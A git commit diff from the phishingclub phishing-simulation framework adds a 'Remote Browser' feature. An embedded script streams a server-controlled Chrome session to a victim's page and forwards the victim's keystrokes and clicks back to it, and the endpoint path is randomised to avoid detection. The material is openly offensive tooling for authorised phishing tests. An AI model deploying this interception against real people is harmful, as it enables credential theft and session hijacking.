mirror of
https://github.com/phishingclub/phishingclub.git
synced 2026-05-15 21:28:17 +02:00
Remote Browser Feature
Signed-off-by: Ronni Skansing <rskansing@gmail.com>
This commit is contained in:
@@ -0,0 +1,20 @@
|
||||
# Go vendor dependencies
|
||||
backend/vendor/
|
||||
|
||||
# Embedded GeoIP data blobs
|
||||
backend/embedded/geoip/
|
||||
|
||||
# Node.js dependencies
|
||||
frontend/node_modules/
|
||||
|
||||
# Dev runtime artifacts
|
||||
backend/.dev/
|
||||
backend/.dev-air/
|
||||
frontend/.svelte-kit/
|
||||
|
||||
# Compiled binaries
|
||||
build/
|
||||
|
||||
# Temporary files
|
||||
tmp/
|
||||
.tmp/
|
||||
@@ -11,6 +11,19 @@ The program must be executable
|
||||
The program must have rights to serve on privliged ports
|
||||
`sudo setcap CAP_NET_BIND_SERVICE=+eip /path/to/binary`
|
||||
|
||||
### Updating the systemd service unit (required for Remote Browser feature)
|
||||
|
||||
The Remote Browser feature spawns a Chrome process as a subprocess. To support this, the systemd unit was updated to remove `MemoryDenyWriteExecute` (incompatible with Chrome's V8 JIT) and `RestrictNamespaces` (required for Chrome's sandbox to work).
|
||||
|
||||
The in-app update replaces the binary but **does not** reload the service unit automatically. After updating from a version that did not have Remote Browser support, you must run:
|
||||
|
||||
```bash
|
||||
sudo systemctl daemon-reload
|
||||
sudo systemctl restart phishingclub
|
||||
```
|
||||
|
||||
Without this the old unit stays active and Chrome will crash when a remote browser session is started.
|
||||
|
||||
### Known Issues
|
||||
|
||||
#### Hot reloading not working / New files now working
|
||||
|
||||
@@ -208,6 +208,14 @@ const (
|
||||
ROUTE_V1_VERSION = "/api/v1/version"
|
||||
// import
|
||||
ROUTE_V1_IMPORT = "/api/v1/import"
|
||||
// remote browser
|
||||
ROUTE_V1_REMOTE_BROWSER = "/api/v1/remote-browser"
|
||||
ROUTE_V1_REMOTE_BROWSER_OVERVIEW = "/api/v1/remote-browser/overview"
|
||||
ROUTE_V1_REMOTE_BROWSER_ID = "/api/v1/remote-browser/:id"
|
||||
ROUTE_V1_REMOTE_BROWSER_ID_RUN = "/api/v1/remote-browser/:id/run"
|
||||
ROUTE_V1_REMOTE_BROWSER_LIVE = "/api/v1/remote-browser/live"
|
||||
ROUTE_V1_REMOTE_BROWSER_LIVE_CRID = "/api/v1/remote-browser/live/:crID"
|
||||
ROUTE_V1_REMOTE_BROWSER_LIVE_STREAM = "/api/v1/remote-browser/live/:crID/stream"
|
||||
)
|
||||
|
||||
// administrationServer is the administrationServer app
|
||||
@@ -500,7 +508,18 @@ func setupRoutes(
|
||||
GET(ROUTE_V1_BACKUP_LIST, middleware.SessionHandler, controllers.Backup.ListBackups).
|
||||
GET(ROUTE_V1_BACKUP_DOWNLOAD, middleware.SessionHandler, controllers.Backup.DownloadBackup).
|
||||
// import
|
||||
POST(ROUTE_V1_IMPORT, middleware.SessionHandler, controllers.Import.Import)
|
||||
POST(ROUTE_V1_IMPORT, middleware.SessionHandler, controllers.Import.Import).
|
||||
// remote browser
|
||||
GET(ROUTE_V1_REMOTE_BROWSER, middleware.SessionHandler, controllers.RemoteBrowser.GetAll).
|
||||
GET(ROUTE_V1_REMOTE_BROWSER_OVERVIEW, middleware.SessionHandler, controllers.RemoteBrowser.GetOverview).
|
||||
GET(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.GetByID).
|
||||
POST(ROUTE_V1_REMOTE_BROWSER, middleware.SessionHandler, controllers.RemoteBrowser.Create).
|
||||
PATCH(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.UpdateByID).
|
||||
DELETE(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.DeleteByID).
|
||||
GET(ROUTE_V1_REMOTE_BROWSER_ID_RUN, middleware.SessionHandler, controllers.RemoteBrowser.RunByID).
|
||||
GET(ROUTE_V1_REMOTE_BROWSER_LIVE, middleware.SessionHandler, controllers.RemoteBrowser.ListLiveSessions).
|
||||
DELETE(ROUTE_V1_REMOTE_BROWSER_LIVE_CRID, middleware.SessionHandler, controllers.RemoteBrowser.CloseLiveSession).
|
||||
GET(ROUTE_V1_REMOTE_BROWSER_LIVE_STREAM, middleware.SessionHandler, controllers.RemoteBrowser.StreamLiveSession)
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
@@ -40,6 +40,7 @@ type Controllers struct {
|
||||
Backup *controller.Backup
|
||||
IPAllowList *controller.IPAllowList
|
||||
OAuthProvider *controller.OAuthProvider
|
||||
RemoteBrowser *controller.RemoteBrowserController
|
||||
}
|
||||
|
||||
// NewControllers creates a collection of controllers
|
||||
@@ -196,6 +197,15 @@ func NewControllers(
|
||||
OAuthProviderService: services.OAuthProvider,
|
||||
Config: conf,
|
||||
}
|
||||
remoteBrowser := &controller.RemoteBrowserController{
|
||||
Common: common,
|
||||
RemoteBrowserService: services.RemoteBrowser,
|
||||
RemoteBrowserRepository: repositories.RemoteBrowser,
|
||||
CampaignRecipientRepository: repositories.CampaignRecipient,
|
||||
CampaignRepository: repositories.Campaign,
|
||||
CampaignService: services.Campaign,
|
||||
ExecPath: conf.RemoteBrowser.ExecPath,
|
||||
}
|
||||
|
||||
return &Controllers{
|
||||
Asset: asset,
|
||||
@@ -229,5 +239,6 @@ func NewControllers(
|
||||
Backup: backup,
|
||||
IPAllowList: ipAllowList,
|
||||
OAuthProvider: oauthProvider,
|
||||
RemoteBrowser: remoteBrowser,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -31,6 +31,7 @@ type Repositories struct {
|
||||
OAuthProvider *repository.OAuthProvider
|
||||
OAuthState *repository.OAuthState
|
||||
MicrosoftDeviceCode *repository.MicrosoftDeviceCode
|
||||
RemoteBrowser *repository.RemoteBrowser
|
||||
}
|
||||
|
||||
// NewRepositories creates a collection of repositories
|
||||
@@ -63,5 +64,6 @@ func NewRepositories(
|
||||
OAuthProvider: &repository.OAuthProvider{DB: db},
|
||||
OAuthState: &repository.OAuthState{DB: db},
|
||||
MicrosoftDeviceCode: &repository.MicrosoftDeviceCode{DB: db},
|
||||
RemoteBrowser: &repository.RemoteBrowser{DB: db},
|
||||
}
|
||||
}
|
||||
|
||||
@@ -62,6 +62,7 @@ type Server struct {
|
||||
repositories *Repositories
|
||||
proxyServer *proxy.ProxyHandler
|
||||
ja4Middleware *middleware.JA4Middleware
|
||||
remoteBrowserWSPath string
|
||||
}
|
||||
|
||||
// NewServer returns a new server
|
||||
@@ -74,6 +75,7 @@ func NewServer(
|
||||
repositories *Repositories,
|
||||
logger *zap.SugaredLogger,
|
||||
certMagicConfig *certmagic.Config,
|
||||
remoteBrowserWSPath string,
|
||||
) *Server {
|
||||
// setup ja4 middleware for tls fingerprinting
|
||||
ja4Middleware := middleware.NewJA4Middleware(logger)
|
||||
@@ -118,6 +120,7 @@ func NewServer(
|
||||
certMagicConfig: certMagicConfig,
|
||||
proxyServer: proxyServer,
|
||||
ja4Middleware: ja4Middleware,
|
||||
remoteBrowserWSPath: remoteBrowserWSPath,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -342,6 +345,12 @@ func (s *Server) checkAndServeSharedAsset(c *gin.Context) bool {
|
||||
// checks if the request should be redirected
|
||||
// checks if the request is for a static page or static not found page
|
||||
func (s *Server) Handler(c *gin.Context) {
|
||||
// pass through to the explicit Gin route for the victim remote browser WS endpoint
|
||||
if strings.HasPrefix(c.Request.URL.Path, "/"+s.remoteBrowserWSPath+"/") {
|
||||
c.Next()
|
||||
return
|
||||
}
|
||||
|
||||
if cacheEntry, ok := s.ja4Middleware.ConnectionFingerprints.Load(c.Request.RemoteAddr); ok {
|
||||
if entry, ok := cacheEntry.(*middleware.FingerprintEntry); ok {
|
||||
fingerprint := entry.Fingerprint
|
||||
@@ -2023,6 +2032,11 @@ func (s *Server) renderDenyPage(
|
||||
|
||||
// AssignRoutes assigns the routes to the server
|
||||
func (s *Server) AssignRoutes(r *gin.Engine) {
|
||||
// victim-facing remote browser WS endpoint - lives on the phishing engine (r), not
|
||||
// the admin engine, because it is served to the victim's browser. s.Handler has an
|
||||
// explicit prefix check that calls c.Next() for this path so the catch-all proxy
|
||||
// logic does not swallow the request before Gin can dispatch to ServeVictim.
|
||||
r.GET("/"+s.remoteBrowserWSPath+"/:crID/:rbID", s.controllers.RemoteBrowser.ServeVictim)
|
||||
r.Use(s.Handler)
|
||||
r.NoRoute(s.handlerNotFound)
|
||||
}
|
||||
|
||||
@@ -43,6 +43,7 @@ type Services struct {
|
||||
ProxySessionManager *service.ProxySessionManager
|
||||
OAuthProvider *service.OAuthProvider
|
||||
MicrosoftDeviceCode *service.MicrosoftDeviceCode
|
||||
RemoteBrowser *service.RemoteBrowser
|
||||
}
|
||||
|
||||
// NewServices creates a collection of services
|
||||
@@ -72,6 +73,8 @@ func NewServices(
|
||||
templateService := &service.Template{
|
||||
Common: common,
|
||||
RecipientRepository: repositories.Recipient,
|
||||
OptionRepository: repositories.Option,
|
||||
RemoteBrowserRepository: repositories.RemoteBrowser,
|
||||
MicrosoftDeviceCodeService: microsoftDeviceCodeService,
|
||||
}
|
||||
file := &service.File{
|
||||
@@ -196,6 +199,10 @@ func NewServices(
|
||||
TemplateService: templateService,
|
||||
CampaignTemplateService: campaignTemplate,
|
||||
}
|
||||
remoteBrowser := &service.RemoteBrowser{
|
||||
Common: common,
|
||||
RemoteBrowserRepository: repositories.RemoteBrowser,
|
||||
}
|
||||
campaign := &service.Campaign{
|
||||
Common: common,
|
||||
CampaignRepository: repositories.Campaign,
|
||||
@@ -214,6 +221,7 @@ func NewServices(
|
||||
TemplateService: templateService,
|
||||
MicrosoftDeviceCodeRepository: repositories.MicrosoftDeviceCode,
|
||||
AttachmentPath: attachmentPath,
|
||||
RemoteBrowserService: remoteBrowser,
|
||||
}
|
||||
// wire campaign service into microsoft device code service now that campaign is constructed
|
||||
microsoftDeviceCodeService.CampaignService = campaign
|
||||
@@ -309,5 +317,6 @@ func NewServices(
|
||||
ProxySessionManager: proxySessionManager,
|
||||
OAuthProvider: oauthProvider,
|
||||
MicrosoftDeviceCode: microsoftDeviceCodeService,
|
||||
RemoteBrowser: remoteBrowser,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -78,17 +78,19 @@ type (
|
||||
LogPath string
|
||||
ErrLogPath string
|
||||
|
||||
IPSecurity IPSecurityConfig
|
||||
IPSecurity IPSecurityConfig
|
||||
RemoteBrowser RemoteBrowserServerConfig
|
||||
}
|
||||
|
||||
// ConfigDTO config DTO
|
||||
ConfigDTO struct {
|
||||
ACME ACME `json:"acme"`
|
||||
AdministrationServer AdministrationServer `json:"administration"`
|
||||
PhishingServer PhishingServer `json:"phishing"`
|
||||
Database Database `json:"database"`
|
||||
Log Log `json:"log"`
|
||||
IPSecurity IPSecurityConfig `json:"ip_security"`
|
||||
ACME ACME `json:"acme"`
|
||||
AdministrationServer AdministrationServer `json:"administration"`
|
||||
PhishingServer PhishingServer `json:"phishing"`
|
||||
Database Database `json:"database"`
|
||||
Log Log `json:"log"`
|
||||
IPSecurity IPSecurityConfig `json:"ip_security"`
|
||||
RemoteBrowser RemoteBrowserServerConfig `json:"remote_browser"`
|
||||
}
|
||||
|
||||
Log struct {
|
||||
@@ -121,6 +123,14 @@ type (
|
||||
ACME struct {
|
||||
Email string `json:"email"`
|
||||
}
|
||||
|
||||
// RemoteBrowserServerConfig holds server-side remote browser settings.
|
||||
RemoteBrowserServerConfig struct {
|
||||
// ExecPath is the path to a Chrome/Chromium binary. When empty Rod uses
|
||||
// its own auto-downloaded Chromium. Set at the server level only — platform
|
||||
// admins cannot override this to prevent arbitrary binary execution.
|
||||
ExecPath string `json:"exec_path"`
|
||||
}
|
||||
)
|
||||
|
||||
type IPSecurityConfig struct {
|
||||
@@ -451,7 +461,7 @@ func StringAddressToTCPAddr(address string) (*net.TCPAddr, error) {
|
||||
|
||||
// FromMap creates a *Config from a DTO
|
||||
func FromDTO(dto *ConfigDTO) (*Config, error) {
|
||||
return NewConfig(
|
||||
cfg, err := NewConfig(
|
||||
dto.ACME.Email,
|
||||
dto.AdministrationServer.TLSHost,
|
||||
dto.AdministrationServer.TLSAuto,
|
||||
@@ -466,6 +476,11 @@ func FromDTO(dto *ConfigDTO) (*Config, error) {
|
||||
dto.Log.ErrorPath,
|
||||
dto.IPSecurity,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
cfg.RemoteBrowser = dto.RemoteBrowser
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
// ToDTO converts a *Config to a *ConfigDTO
|
||||
@@ -493,7 +508,8 @@ func (c *Config) ToDTO() *ConfigDTO {
|
||||
Path: c.LogPath,
|
||||
ErrorPath: c.ErrLogPath,
|
||||
},
|
||||
IPSecurity: c.IPSecurity,
|
||||
IPSecurity: c.IPSecurity,
|
||||
RemoteBrowser: c.RemoteBrowser,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -26,6 +26,11 @@ const (
|
||||
|
||||
OptionKeyProxyCookieName = "proxy_cookie_name"
|
||||
|
||||
// OptionKeyRemoteBrowserWSPath is the seeded random path segment used for the
|
||||
// victim-facing remote browser WebSocket endpoint. Randomised at first startup
|
||||
// so the endpoint is not fingerprinted by path alone.
|
||||
OptionKeyRemoteBrowserWSPath = "remote_browser_ws_path"
|
||||
|
||||
OptionKeyDisplayMode = "display_mode"
|
||||
OptionValueDisplayModeWhitebox = "whitebox"
|
||||
OptionValueDisplayModeBlackbox = "blackbox"
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
package database
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
const (
|
||||
REMOTE_BROWSER_TABLE = "remote_browsers"
|
||||
)
|
||||
|
||||
// RemoteBrowser is a gorm data model for saved remote browser scripts.
|
||||
type RemoteBrowser struct {
|
||||
ID *uuid.UUID `gorm:"primary_key;not null;unique;type:uuid"`
|
||||
CreatedAt *time.Time `gorm:"not null;index;"`
|
||||
UpdatedAt *time.Time `gorm:"not null;index"`
|
||||
CompanyID *uuid.UUID `gorm:"index;uniqueIndex:idx_remote_browsers_unique_name_and_company_id;type:uuid"`
|
||||
Name string `gorm:"not null;index;uniqueIndex:idx_remote_browsers_unique_name_and_company_id;"`
|
||||
Description string `gorm:"type:text"`
|
||||
Script string `gorm:"type:text;not null;"`
|
||||
Config string `gorm:"type:text;not null;"`
|
||||
|
||||
Company *Company
|
||||
}
|
||||
|
||||
func (e *RemoteBrowser) Migrate(db *gorm.DB) error {
|
||||
return UniqueIndexNameAndNullCompanyID(db, "remote_browsers")
|
||||
}
|
||||
|
||||
func (RemoteBrowser) TableName() string {
|
||||
return REMOTE_BROWSER_TABLE
|
||||
}
|
||||
@@ -7,6 +7,9 @@ import (
|
||||
//go:embed tracking-pixel/sendgrid/open.gif
|
||||
var TrackingPixel []byte
|
||||
|
||||
//go:embed remotebrowser_inject.js
|
||||
var RemoteBrowserInjectJS string
|
||||
|
||||
// SigningKey1 is verifing the signed .sig file when updating
|
||||
//
|
||||
//go:embed signingkeys/public1.bin
|
||||
|
||||
@@ -0,0 +1,194 @@
|
||||
(function () {
|
||||
var wsProto = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
var ws = new WebSocket(wsProto + '//' + window.location.host + '/__WS_PATH__/__CR_ID__/__RB_ID__');
|
||||
var h = {}; // event handlers keyed as "e:eventName" or "stream_start:name" etc.
|
||||
var streams = {}; // name → {canvas, w, h, cssW, cssH, autoSize, el}
|
||||
var streamLastStart = {} // name → last stream_start message, so mountStream called late still sizes correctly
|
||||
|
||||
ws.onopen = function () {
|
||||
ws.send(JSON.stringify({ type: 'viewport', width: window.innerWidth, height: window.innerHeight }));
|
||||
};
|
||||
|
||||
// Apply stream_start sizing to an already-mounted stream entry.
|
||||
function applyStreamStart(st, m) {
|
||||
st.canvas.width = m.width;
|
||||
st.canvas.height = m.height;
|
||||
st.w = m.width;
|
||||
st.h = m.height;
|
||||
// Display size = element's true CSS-pixel dimensions.
|
||||
// Replace cssText entirely so there is no max-width left to fight against.
|
||||
var dw = m.cssWidth || m.width;
|
||||
var dh = m.cssHeight || m.height;
|
||||
st.cssW = dw;
|
||||
st.cssH = dh;
|
||||
st.canvas.style.cssText = 'display:block;outline:none;width:' + dw + 'px;height:' + dh + 'px;';
|
||||
if (st.autoSize) {
|
||||
st.el.style.width = dw + 'px';
|
||||
st.el.style.height = dh + 'px';
|
||||
}
|
||||
}
|
||||
|
||||
ws.onmessage = function (e) {
|
||||
try {
|
||||
var m = JSON.parse(e.data);
|
||||
|
||||
if (m.type === 'event' && m.key) {
|
||||
(h['e:' + m.key] || []).forEach(function (f) { f(m.value); });
|
||||
|
||||
} else if (m.type === 'stream_start' && m.name) {
|
||||
// Always store so mountStream() called inside the handler still gets sized.
|
||||
streamLastStart[m.name] = m;
|
||||
var st = streams[m.name];
|
||||
if (st) {
|
||||
// Stream already mounted — this is a resize/reposition update only.
|
||||
// Do NOT re-fire user handlers; that would call mountStream() again
|
||||
// and create duplicate canvases.
|
||||
applyStreamStart(st, m);
|
||||
} else {
|
||||
// First stream_start for this name: fire user handlers so the page can
|
||||
// call mountStream() to attach a canvas.
|
||||
(h['stream_start:' + m.name] || []).forEach(function (f) {
|
||||
f(m.cssWidth || m.width, m.cssHeight || m.height);
|
||||
});
|
||||
// If the handler called mountStream() just now, apply sizing immediately.
|
||||
if (streams[m.name]) {
|
||||
applyStreamStart(streams[m.name], m);
|
||||
}
|
||||
}
|
||||
|
||||
} else if (m.type === 'stream_frame' && m.name) {
|
||||
var st = streams[m.name];
|
||||
if (!st) return;
|
||||
var img = new Image();
|
||||
img.onload = function () {
|
||||
if (st.canvas.width !== img.naturalWidth) { st.canvas.width = img.naturalWidth; st.w = img.naturalWidth; }
|
||||
if (st.canvas.height !== img.naturalHeight) { st.canvas.height = img.naturalHeight; st.h = img.naturalHeight; }
|
||||
st.canvas.getContext('2d').drawImage(img, 0, 0);
|
||||
};
|
||||
img.src = 'data:image/jpeg;base64,' + m.frame;
|
||||
|
||||
} else if (m.type === 'stream_stop' && m.name) {
|
||||
// Remove the canvas from DOM and clear the tracking entry so the next
|
||||
// stream_start for the same name triggers a fresh mountStream() call.
|
||||
// Without this, a stop→start cycle (e.g. element removed and re-added)
|
||||
// leaves a stale canvas in `streams` that silently receives frames while
|
||||
// subsequent mountStream() calls add new canvases on top.
|
||||
var stStopped = streams[m.name];
|
||||
if (stStopped && stStopped.canvas && stStopped.canvas.parentNode) {
|
||||
stStopped.canvas.parentNode.removeChild(stStopped.canvas);
|
||||
}
|
||||
delete streams[m.name];
|
||||
delete streamLastStart[m.name];
|
||||
(h['stream_stop:' + m.name] || []).forEach(function (f) { f(); });
|
||||
}
|
||||
} catch (ex) {}
|
||||
};
|
||||
|
||||
window.remoteBrowser = {
|
||||
on: function (ev, nameOrFn, fn) {
|
||||
if (typeof nameOrFn === 'function') {
|
||||
h['e:' + ev] = h['e:' + ev] || [];
|
||||
h['e:' + ev].push(nameOrFn);
|
||||
} else {
|
||||
var k = ev + ':' + nameOrFn;
|
||||
h[k] = h[k] || [];
|
||||
h[k].push(fn);
|
||||
}
|
||||
},
|
||||
|
||||
send: function (ev, data) {
|
||||
if (ws.readyState === 1) ws.send(JSON.stringify({ event: ev, data: data || {} }));
|
||||
},
|
||||
|
||||
mountStream: function (name, el, opts) {
|
||||
// stream_start fires on every viewport/JPEG-dimension change; guard against
|
||||
// appending a second canvas if the stream is already mounted.
|
||||
if (streams[name]) return;
|
||||
|
||||
var autoSize = !!(opts && opts.autoSize);
|
||||
var allowScroll = !!(opts && opts.scroll);
|
||||
var allowArrows = !!(opts && opts.arrowKeys);
|
||||
var ARROW_KEYS = { ArrowUp: 1, ArrowDown: 1, ArrowLeft: 1, ArrowRight: 1 };
|
||||
|
||||
var canvas = document.createElement('canvas');
|
||||
canvas.style.cssText = 'display:block;outline:none;';
|
||||
canvas.setAttribute('tabindex', '0');
|
||||
el.appendChild(canvas);
|
||||
|
||||
var st = { canvas: canvas, w: 0, h: 0, autoSize: autoSize, el: el };
|
||||
streams[name] = st;
|
||||
|
||||
// If stream_start already arrived (e.g. mountStream called inside the handler),
|
||||
// apply the stored sizing now so the canvas has the right CSS dimensions immediately.
|
||||
if (streamLastStart[name]) {
|
||||
applyStreamStart(st, streamLastStart[name]);
|
||||
}
|
||||
|
||||
function coords(e) {
|
||||
var r = canvas.getBoundingClientRect();
|
||||
var sx = st.w > 0 ? st.w / r.width : 1;
|
||||
var sy = st.h > 0 ? st.h / r.height : 1;
|
||||
return { x: Math.round((e.clientX - r.left) * sx), y: Math.round((e.clientY - r.top) * sy) };
|
||||
}
|
||||
|
||||
function snd(o) {
|
||||
if (ws.readyState === 1) ws.send(JSON.stringify(o));
|
||||
}
|
||||
|
||||
canvas.addEventListener('mousedown', function (e) {
|
||||
e.preventDefault();
|
||||
canvas.focus();
|
||||
var p = coords(e);
|
||||
snd({ type: 'stream_input', name: name, action: 'mousedown', x: p.x, y: p.y,
|
||||
button: e.button === 2 ? 'right' : 'left' });
|
||||
});
|
||||
|
||||
canvas.addEventListener('mouseup', function (e) {
|
||||
var p = coords(e);
|
||||
snd({ type: 'stream_input', name: name, action: 'mouseup', x: p.x, y: p.y,
|
||||
button: e.button === 2 ? 'right' : 'left' });
|
||||
});
|
||||
|
||||
canvas.addEventListener('mousemove', function (e) {
|
||||
var p = coords(e);
|
||||
snd({ type: 'stream_input', name: name, action: 'mousemove', x: p.x, y: p.y });
|
||||
});
|
||||
|
||||
// Scroll: disabled by default to avoid accidentally scrolling the remote browser.
|
||||
// Enable with { scroll: true } in mountStream options.
|
||||
if (allowScroll) {
|
||||
canvas.addEventListener('wheel', function (e) {
|
||||
e.preventDefault();
|
||||
var p = coords(e);
|
||||
snd({ type: 'stream_input', name: name, action: 'scroll', x: p.x, y: p.y,
|
||||
deltaX: e.deltaX, deltaY: e.deltaY });
|
||||
}, { passive: false });
|
||||
}
|
||||
|
||||
// Arrow keys: always preventDefault (prevent page scroll when canvas is focused),
|
||||
// but only forwarded to the remote browser when { arrowKeys: true }.
|
||||
canvas.addEventListener('keydown', function (e) {
|
||||
var isArrow = !!ARROW_KEYS[e.key];
|
||||
e.preventDefault();
|
||||
if (isArrow && !allowArrows) return;
|
||||
snd({ type: 'stream_input', name: name, action: 'keydown',
|
||||
key: e.key, code: e.code, keyCode: e.keyCode,
|
||||
modifiers: (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0),
|
||||
charText: (e.ctrlKey || e.metaKey) ? '' : (e.key === 'Enter' ? '\r' : e.key.length === 1 ? e.key : '') });
|
||||
});
|
||||
|
||||
canvas.addEventListener('keyup', function (e) {
|
||||
var isArrow = !!ARROW_KEYS[e.key];
|
||||
e.preventDefault();
|
||||
if (isArrow && !allowArrows) return;
|
||||
snd({ type: 'stream_input', name: name, action: 'keyup',
|
||||
key: e.key, code: e.code, keyCode: e.keyCode,
|
||||
modifiers: (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0) });
|
||||
});
|
||||
|
||||
canvas.addEventListener('contextmenu', function (e) { e.preventDefault(); });
|
||||
}
|
||||
};
|
||||
|
||||
window.rb = window.remoteBrowser;
|
||||
})();
|
||||
@@ -12,13 +12,16 @@ require (
|
||||
github.com/charmbracelet/bubbles v0.20.0
|
||||
github.com/charmbracelet/bubbletea v1.3.4
|
||||
github.com/charmbracelet/lipgloss v1.1.0
|
||||
github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c
|
||||
github.com/enetx/surf v1.0.141
|
||||
github.com/exaring/ja4plus v0.0.2
|
||||
github.com/fatih/color v1.15.0
|
||||
github.com/gin-contrib/zap v1.1.4
|
||||
github.com/gin-gonic/gin v1.10.0
|
||||
github.com/go-errors/errors v1.5.1
|
||||
github.com/go-rod/rod v0.116.2
|
||||
github.com/google/uuid v1.3.1
|
||||
github.com/gorilla/websocket v1.5.3
|
||||
github.com/klauspost/compress v1.18.1
|
||||
github.com/oapi-codegen/nullable v1.1.0
|
||||
github.com/pquerna/otp v1.4.0
|
||||
@@ -50,6 +53,7 @@ require (
|
||||
github.com/cloudwego/base64x v0.1.4 // indirect
|
||||
github.com/cloudwego/iasm v0.2.0 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/dlclark/regexp2 v1.11.4 // indirect
|
||||
github.com/enetx/g v1.0.194 // indirect
|
||||
github.com/enetx/http v1.0.19 // indirect
|
||||
github.com/enetx/http2 v1.0.20 // indirect
|
||||
@@ -64,6 +68,7 @@ require (
|
||||
github.com/go-playground/locales v0.14.1 // indirect
|
||||
github.com/go-playground/universal-translator v0.18.1 // indirect
|
||||
github.com/go-playground/validator/v10 v10.22.0 // indirect
|
||||
github.com/go-sourcemap/sourcemap v2.1.3+incompatible // indirect
|
||||
github.com/go-task/slim-sprig/v3 v3.0.0 // indirect
|
||||
github.com/goccy/go-json v0.10.3 // indirect
|
||||
github.com/golang-jwt/jwt/v5 v5.2.2 // indirect
|
||||
@@ -101,6 +106,11 @@ require (
|
||||
github.com/wzshiming/socks5 v0.6.0 // indirect
|
||||
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect
|
||||
github.com/yeqown/reedsolomon v1.0.0 // indirect
|
||||
github.com/ysmood/fetchup v0.2.3 // indirect
|
||||
github.com/ysmood/goob v0.4.0 // indirect
|
||||
github.com/ysmood/got v0.40.0 // indirect
|
||||
github.com/ysmood/gson v0.7.3 // indirect
|
||||
github.com/ysmood/leakless v0.9.0 // indirect
|
||||
github.com/zeebo/blake3 v0.2.3 // indirect
|
||||
go.uber.org/mock v0.6.0 // indirect
|
||||
go.uber.org/multierr v1.11.0 // indirect
|
||||
|
||||
@@ -45,6 +45,10 @@ github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQ
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dlclark/regexp2 v1.11.4 h1:rPYF9/LECdNymJufQKmri9gV604RvvABwgOA8un7yAo=
|
||||
github.com/dlclark/regexp2 v1.11.4/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
|
||||
github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c h1:hIlkLbQ+tYoUqlG42LnxwGcohL5jaGqD8mGeJWavm8A=
|
||||
github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c/go.mod h1:MxLav0peU43GgvwVgNbLAj1s/bSGboKkhuULvq/7hx4=
|
||||
github.com/enetx/g v1.0.194 h1:lI/eicj+Qdcdt1xBUhaHv3M/ujN4v+WXYZDZYD1Dxuo=
|
||||
github.com/enetx/g v1.0.194/go.mod h1:B3YULbT/hAx9+p2Q8GHrsTmjjM19iz1Rcdz3Y9+kSg4=
|
||||
github.com/enetx/http v1.0.19 h1:4W97CyqKrPiR16wEm6UOesqNrt8l4RsVMjZHz6+I84E=
|
||||
@@ -95,6 +99,10 @@ github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJn
|
||||
github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY=
|
||||
github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao=
|
||||
github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM=
|
||||
github.com/go-rod/rod v0.116.2 h1:A5t2Ky2A+5eD/ZJQr1EfsQSe5rms5Xof/qj296e+ZqA=
|
||||
github.com/go-rod/rod v0.116.2/go.mod h1:H+CMO9SCNc2TJ2WfrG+pKhITz57uGNYU43qYHh438Mg=
|
||||
github.com/go-sourcemap/sourcemap v2.1.3+incompatible h1:W1iEw64niKVGogNgBN3ePyLFfuisuzeidWPMPWmECqU=
|
||||
github.com/go-sourcemap/sourcemap v2.1.3+incompatible/go.mod h1:F8jJfvm2KbVjc5NqelyYJmf/v5J0dwNLS2mL4sNA1Jg=
|
||||
github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI=
|
||||
github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8=
|
||||
github.com/goccy/go-json v0.10.3 h1:KZ5WoDbxAIgm2HNbYckL0se1fHD6rz5j4ywS6ebzDqA=
|
||||
@@ -112,6 +120,8 @@ github.com/google/pprof v0.0.0-20250403155104-27863c87afa6 h1:BHT72Gu3keYf3ZEu2J
|
||||
github.com/google/pprof v0.0.0-20250403155104-27863c87afa6/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA=
|
||||
